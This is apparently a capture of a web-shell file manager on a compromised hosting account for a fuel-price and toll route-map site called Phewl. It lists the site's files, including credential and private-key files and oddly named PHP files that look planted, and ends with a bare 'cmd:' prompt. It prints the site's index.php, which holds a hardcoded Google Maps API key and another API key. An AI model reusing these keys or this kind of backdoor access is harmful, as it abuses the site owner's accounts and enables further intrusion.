FM / phewl.desidrivers.com.au

/home/desid573/phewl.desidrivers.com.au/

/home/desid573/phewl.desidrivers.com.au

Name	Size	Mode	Actions
.well-known/	-	0755	rm
1xnmuyr/	-	0755	rm
cgi-bin/	-	0755	rm
dmilboh/	-	0755	rm
geometry-library/	-	0755	rm
lib/	-	0755	rm
markers/	-	0755	rm
v3-utility-library-master/	-	0755	rm
wzupdrv/	-	0755	rm
xkfzejc/	-	0755	rm
.htaccess	281	0644	edit dl rm
11.php	3783	0644	edit dl rm
21.php	733	0644	edit dl rm
credentials.json	318	0644	edit dl rm
encoder.php	2662	0644	edit dl rm
endFlag.png	666	0644	edit dl rm
geometry-library.zip	13992	0644	edit dl rm
getData.php	1223	0644	edit dl rm
google_log_api.php	9020	0644	edit dl rm
google_service.php	887	0644	edit dl rm
index.php	22117	0644	edit dl rm
inFlag.png	345	0644	edit dl rm
keyGen.php	324	0644	edit dl rm
login_api.php	752	0644	edit dl rm
markers.zip	19151	0644	edit dl rm
outFlag.png	515	0644	edit dl rm
playconsole.php	3081	0644	edit dl rm
startFlag.png	679	0644	edit dl rm
tollster-48ab6e372c8b.json	2303	0644	edit dl rm
tollster-274e90e11b50.p12	2479	0644	edit dl rm
wp-cron-voii.php	1659	0644	edit dl rm
zkdmxrrm.php	7317	0644	edit dl rm

Edit: /home/desid573/phewl.desidrivers.com.au/index.php (22117B)

<?php
$invoice_ref = time().rand(10,5000);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    
    <title>Phewl</title>

<link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jquerymobile/1.4.5/jquery.mobile.min.css">
    <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.10.1/themes/base/minified/jquery-ui.min.css" type="text/css" />
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet">

<style>
    * {font-family: verdana;}
        #map {
        height: 100vh;
        
        }
        html, body {
    max-width: 100%;
    overflow-x: hidden;
}
        
        body{
            background-color: #FFFFFF;
        }
        .iti-flag {background-image: url("assets/flags.png");}
  .intl-tel-input{width: 100%;}
@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min--moz-device-pixel-ratio: 2), only screen and (-o-min-device-pixel-ratio: 2 / 1), only screen and (min-device-pixel-ratio: 2), only screen and (min-resolution: 192dpi), only screen and (min-resolution: 2dppx) {
  .iti-flag {background-image: url("assets/flags@2x.png");}
  }
  .intl-tel-input {
  display: table-cell;
  width: 100%;
}
.intl-tel-input .flag-container {
  z-index: 4;
}
.input-group .intl-tel-input .form-control {
  border-top-left-radius: 4px;
  border-top-right-radius: 0;
  border-bottom-left-radius: 4px;
  border-bottom-right-radius: 0;
} 
.btn-primary {
    
background-color: #276487;    
}
.phone_error {
display:none;
color:#a94442;
margin-bottom: 2px;
margin-top: 5px;
}
td {
padding-right: 10px;
border-collapse: separate;
}
.alt1, .alt2 {
display: none;
}
.onTop {
position:absolute;
z-index:100;
width:100%;
padding-left: 10px;
padding-right:10px;
padding-top:5px;
background-color: #FFFFFF;
-webkit-transition: -webkit-transform 1s ease-in-out;
}

.loader {
display: none;
position: relative;
left: 50%;
top: 50%;
z-index: 3;
margin: -60px 0 0 -60px;
    border: 16px solid #f3f3f3; /* Light grey */
    border-top: 16px solid #3498db; /* Blue */
    border-radius: 50%;
    width: 120px;
    height: 120px;
    animation: spin 2s linear infinite;
}
.wrapper {
display: none;
background-color: rgba( 39, 100, 135, .4); 
position: absolute;
z-index: 2;
height: 100%;
width: -webkit-calc(100% - 30px);
    width:    -moz-calc(100% - 30px);
    width:         calc(100% - 30px);
}

.displayBox {

margin-left: 10px;
margin-right:10px;

}
.mapContainer {

}
.hiddenRouteButton {
display:none;
}
.alt0 {
display:none;
}
th {
font-weight: bold;
text-align:center;
}
th, td {
    padding: 10px;
    text-align: left;
}
table {
    border-collapse: collapse;
    width: 100%;
}
th, td {
   border-bottom: 1px solid #ddd;
}
p {
    width:100%;
    text-align:center;
}
.line {
    
  width: 35px;
  height: 2px;
  background-color: grey;
  margin: 1px 0;

}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
    
}   
*
{
    padding: 0;
    margin: 0;
}
#over
{
    //position:absolute;
    margin-top: 0px;
    width:100%;
    height:40px;
    text-align: center; /*handles the horizontal centering*/
}
/*handles the vertical centering*/
.Centerer
{
    display: inline-block;
    height: 100%;
    vertical-align: middle;
}
.Centered
{
    display: inline-block;
    vertical-align: middle;
}
.anim{
    -webkit-transform:translate(0,-120px);
}
.animBack{
    -webkit-transform:translate(0,0px);
}

</style>
    
</head>
<body>

<div  >

<div class="onTop ">
        <div class="container">
    
            <p>Enter start and finish addresses below</p>
                	
                	
                 <div class="row" style="margin-top: 10px">  
                 <div class="col-xs-12">
                   
                     <div class="input-group">
                        <input   type="text" id="pickup" name="pickup" autocomplete="off" data-validation="required"  required class="form-control" placeholder="Origin">
                        <span id="locationButton" class="input-group-addon">
                            <i class="glyphicon glyphicon-screenshot"></i>
                        </span>
                        </div>
                     </div>
                 </div>
                
                <div class="row" style="margin-top: 10px">  
                 <div class="col-xs-12">
                <input  type="text" id="dropoff" name="dropoff" autocomplete="off" data-validation="required"  required class="form-control" placeholder="Destination">
                                   
                              </div>  </div>        
                        	
                      
              <div id="over">
                  <span class="Centerer"></span>
                  <span class="Centered">
                    <div onClick="moveTop();">
                        <div class="line"></div>
                        <div class="line"></div>
                        <div class="line"></div>
                    
                    </div>
                    </span>
                    </div>
                    
					
              
            
			
        
        
        
        
        </div>
        </div>

map = null ;
    pickUp = null ;
    dropOff = null;
    directionsDisplay = null ;
    directionsService = null ;
    var pickupState = "";
    var dropoffState = "";
    var markers = [];
    var tollMarkers = [];
    var route0 = "";
    var route1 = "";
    var route2 = "";
    var polyline0 = null;
    var polyline1 = null;
    var polyline2 = null;

var pinColor = "0E7569";
    var inFlag = "inFlag.png";
    
    var startMarker = "startFlag.png";
    var endMarker = "endFlag.png";
        
    ;
    
    var upDown = "down";
    var first = true;
    var running = false;
    
    if (navigator.geolocation) {
  console.log('Geolocation is supported!');
}
else {
  console.log('Geolocation is not supported for this Browser/OS.');
}

$("#locationButton").on("click", function(){
    
    getLocation();
    
    
})

var directionResponse = "";
    
    var stations = {"Caltex": "markers/marker-caltex.png", "Shell": "markers/marker-shell.png", "Coles Express": "markers/marker-coles.png", "Caltex Woolworths": "markers/marker-woolworths.png", "United": "markers/marker-united.png", "Better Choice": "markers/marker-better.png", "Puma": "markers/marker-puma.png", "7-Eleven": "markers/marker-7eleven.png", "Coles Express": "markers/marker-coles.png", "BP": "markers/marker-bp.png"};

function initMap() {
    	
        if(map == null)
        {
            map = new google.maps.Map(document.getElementById('map'), {
                zoom: 12,
                center: {lat: -31.9535959, lng: 115.8570118}
            });
        }
        
        var geocoder = new google.maps.Geocoder();

if($('#pickup').val() != "")
            geocodeAddress(geocoder, map, "pickup");

if($('#dropoff').val() != "")
            geocodeAddress(geocoder, map, "dropoff");

if(directionsDisplay != null)
            directionsDisplay.setDirections({routes: []});

directionsService = new google.maps.DirectionsService;
        directionsDisplay = new google.maps.DirectionsRenderer;
        directionsDisplay.setMap(map);
        directionsDisplay.setOptions( { suppressMarkers: true, 
        	
        		  polylineOptions: {
        			  strokeColor: '#2a6485',
        	    	    strokeOpacity: 0.8,
        	    	    strokeWeight: 4,
        	    	    fillColor: '#2a6485',
        	    	    fillOpacity: 0.35,
        		  }
        		} );

calculateAndDisplayRoute(directionsService, directionsDisplay);

}

$('#altButton1').on("click", function() {
    	clearMarkers();
    	directionsDisplay.setMap(null);
    	if(polyline2 != null) {
    	polyline2.setMap(null);
    	}
    	if(polyline0 != null) {
        	polyline0.setMap(null);
        	}
    	var entrys = route1.entrys[1];
    	console.log(entrys);
 		for (var i = 0; i < entrys.length; i++) {
 	          addTollMarker(new google.maps.LatLng(entrys[i].lat, entrys[i].lng), entrys[i].description, "entry");
 	        }
 		
        
       	var exits = route1.exits[1];
 		for (var i = 0; i < exits.length; i++) {
 	          addTollMarker(new google.maps.LatLng(exits[i].lat, exits[i].lng), exits[i].description, "exit");
 	        }

var path = google.maps.geometry.encoding.decodePath(route1.routes.routes[1].overview_polyline.points);

polyline1 = new google.maps.Polyline({
    	    path: path,
    	    strokeColor: '#2a6485',
    	    strokeOpacity: 0.8,
    	    strokeWeight: 4,
    	    fillColor: '#2a6485',
    	    fillOpacity: 0.35,
    	    map: map
    	      // strokeColor: "#0000FF",
    	      // strokeOpacity: 1.0,
    	      // strokeWeight: 2
    	  });
    	  polyline1.setMap(map);
        
        
        
    	
    	
    })
    
    $('#altButton2').on("click", function() {
    	clearMarkers();
    	directionsDisplay.setMap(null);
    	if(polyline1 != null) {
    	polyline1.setMap(null);
    	}
    	if(polyline0 != null) {
        	polyline0.setMap(null);
        	}
    	var entrys = route2.entrys[2];
 		for (var i = 0; i < entrys.length; i++) {
 	          addTollMarker(new google.maps.LatLng(entrys[i].lat, entrys[i].lng), entrys[i].description, "entry");
 	        }
 		
        
       	var exits = route2.exits[2];
 		for (var i = 0; i < exits.length; i++) {
 	          addTollMarker(new google.maps.LatLng(exits[i].lat, exits[i].lng), exits[i].description, "exit");
 	        }

var path = google.maps.geometry.encoding.decodePath(route2.routes.routes[2].overview_polyline.points);
    	  console.log(path);

polyline2 = new google.maps.Polyline({
    	    path: path,
    	    strokeColor: '#2a6485',
    	    strokeOpacity: 0.8,
    	    strokeWeight: 4,
    	    fillColor: '#2a6485',
    	    fillOpacity: 0.35,
    	    map: map
    	      // strokeColor: "#0000FF",
    	      // strokeOpacity: 1.0,
    	      // strokeWeight: 2
    	  });
    	  polyline2.setMap(map);
        
        
        
    	
    	
    })
    
    $('#routeButton').on("click", function() {
    	clearMarkers();
    	directionsDisplay.setMap(null);
    	if(polyline1 != null) {
    	polyline1.setMap(null);
    	}
    	if(polyline2 != null) {
        	polyline2.setMap(null);
        	}
    	var entrys = route0.entrys[0];
 		for (var i = 0; i < entrys.length; i++) {
 	          addTollMarker(new google.maps.LatLng(entrys[i].lat, entrys[i].lng), entrys[i].description, "entry");
 	        }
 		
        
       	var exits = route0.exits[0];
 		for (var i = 0; i < exits.length; i++) {
 	          addTollMarker(new google.maps.LatLng(exits[i].lat, exits[i].lng), exits[i].description, "exit");
 	        }

var path = google.maps.geometry.encoding.decodePath(route0.routes.routes[0].overview_polyline.points);
    	  console.log(path);

polyline0 = new google.maps.Polyline({
    	    path: path,
    	    strokeColor: '#2a6485',
    	    strokeOpacity: 0.8,
    	    strokeWeight: 4,
    	    fillColor: '#2a6485',
    	    fillOpacity: 0.35,
    	    map: map
    	      // strokeColor: "#0000FF",
    	      // strokeOpacity: 1.0,
    	      // strokeWeight: 2
    	  });
    	  polyline0.setMap(map);
        
        
        
    	
    	
    })

$('#button').on("click", function(){
        clearMarkers();
        markers["pickup"].setMap(null);
        markers["dropoff"].setMap(null);
        if(polyline1 != null) {
        polyline1.setMap(null);
        }
        if(polyline2 != null) {
        polyline2.setMap(null);
        }
        directionsDisplay.setMap(null);
        $('#totalPrice').text("");
        $('#breakdown').html("");
        $('#pickup').val("");
        $('#dropoff').val(""); 
        $('.alt0, .alt1, .alt2, .hiddenRouteButton').hide();
    })
    
    $('#pickup').on("keyup", function(){
    	directionsDisplay.setMap(null);
    	if(markers["pickup"] != null) {
            markers["pickup"].setMap(null);
            markers["pickup"] = null;
          	}
    })

$('#dropoff').on("keyup", function(){
    	directionsDisplay.setMap(null);
    	if(markers["dropoff"] != null) {
            markers["dropoff"].setMap(null);
            markers["dropoff"] = null;
          	}
      	clearMarkers();
    })
	
	function addTollMarker(location, description, type, name, number) {
            
            var station = stations[type]
            if(station == "") {
                station = "markers/marker-misc.png"
            }
            var nav = "https://www.google.com/maps/dir/?api=1&destination=" + encodeURIComponent($('#dropoff').val()) + "&waypoints=" + location.lat() + "," + location.lng() + "&travelmode=DRIVING";
            console.log(nav);
			var num = number + 1;
			var title = "$" + description;
            var iw = new google.maps.InfoWindow({
            content: "<div><b>" + num + ". " +  description + "c</b><br>" + name + "<br><button onClick='window.open(`" + nav + "`);'>Navigate</button></div>",
            //position: location
            });
    	
        	var marker = new google.maps.Marker({
                position: location,
                map: map,
                icon: station,
                animation: google.maps.Animation.DROP,
                zIndex: 100 - number,
                title: title
              });
            marker.addListener('click', function() {
				iw.open(map, this);
                })
                
                if(number == 0) {
                    iw.open(map, marker);
                }
                
                
                
         
     
            
                
        tollMarkers.push(marker);
        
      }

function addMarker(location, name) {

var flag = startMarker;
		
		if(name == "pickup") {
			flag = startMarker;
		} else if (name == "dropoff") {
			flag = endMarker;
		}

if(markers[name] == null) {
        	var marker = new google.maps.Marker({
                position: location,
                map: map,
               	icon: flag
              });
        markers[name] = marker;
        }
      }

//function geocodeAddress2(geocoder, resultsMap) {
    //    var address = document.getElementById('dropoff').value;
    //    geocoder.geocode({'address': address}, function(results, status) {
    //        if (status === google.maps.GeocoderStatus.OK) {resultsMap.setCenter(results[0].geometry.location);
    //            addMarker(results[0].geometry.location, "dropoff");
	//				$('#lat2_value').val(results[0].geometry.location.lat());
	//				$('#lng2_value').val(results[0].geometry.location.lng());
	//				distance();
    //        }
    //    });
    //}

function setMapOnAll(map) {
    	for (var i = 0; i < tollMarkers.length; i++) {
            tollMarkers[i].setMap(map);
          }
        
      }

function clearMarkers() {
        setMapOnAll(null);
      }

// This example displays an address form, using the autocomplete feature
    // of the Google Places API to help users fill in the information.

var placeSearch, dropoff , pickup ;

function initAutocomplete() {
        //var perthBounds = new google.maps.LatLngBounds(new google.maps.LatLng(-32.787777, 115.556739), new google.maps.LatLng(-31.159266, 116.545509));

pickup = new google.maps.places.Autocomplete((document.getElementById('pickup')),{types: ['geocode','establishment'],
            componentRestrictions:{country:"au"}});
        pickup.addListener();
        pickup.addListener('place_changed', function() {
            
            for (var i = 0; i < pickup.getPlace().address_components.length; i++) {
          var addressType = pickup.getPlace().address_components[i].types[0];
          
            if(addressType == "administrative_area_level_1") {
            pickupState = pickup.getPlace().address_components[i].short_name;
            }
        }
            initMap();
        });
        dropoff = new google.maps.places.Autocomplete((document.getElementById('dropoff')),{types: ['geocode', 'establishment'],
            componentRestrictions:{country:"au"}});
        dropoff.addListener();
        dropoff.addListener('place_changed', function() {
        for (var i = 0; i < dropoff.getPlace().address_components.length; i++) {
          var addressType = dropoff.getPlace().address_components[i].types[0];
            if(addressType == "administrative_area_level_1") {
            dropoffState = dropoff.getPlace().address_components[i].short_name;
            }
        }
            initMap();
        });
        initMap();
    }

function distance(alt) {
        running = true;
        var pickup = $('#pickup').val();
        var dropoff = $('#dropoff').val();
       
       var api_key = "PnYKnBduY53WTuAXjT3By5zL4IXklX4a";
       //directions: JSON.stringify(directionResponse)

if(pickup != "" && dropoff != "")
        {
            
            
            $.ajax({
         	type: "POST",
         	url: "11.php",
               	data: {pickup: pickup, dropoff: dropoff, alternatives: alt, key: api_key},
               	dataType: 'json',
                success: function (data) {
                    running = false;
                	$('.loader, .wrapper').hide();
         	console.log(data);
         	moveTop();
				
         		for (var i = 0; i < data.length; i++) {
         	          addTollMarker(new google.maps.LatLng(data[i].lat, data[i].lng), data[i].price, data[i].brand, data[i].name, i);
         	        }
         		
                
               	
                
                },
                error: function (XMLHttpRequest, textStatus, errorThrown) {
                	$('.loader').hide();
                	console.log(XMLHttpRequest + " " + textStatus + " " + errorThrown);
                }
              
            });
             
        }
    }

function isNumber(obj) { return !isNaN(parseFloat(obj)) }

</script>
<script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyCzDCB1H9ZvIgT4NHGqCXajVQlRXKwTVY4&libraries=places,geometry&callback=initAutocomplete"   async defer></script>
<script>
    $.validate({});
</script>
</body>
</html>

cmd: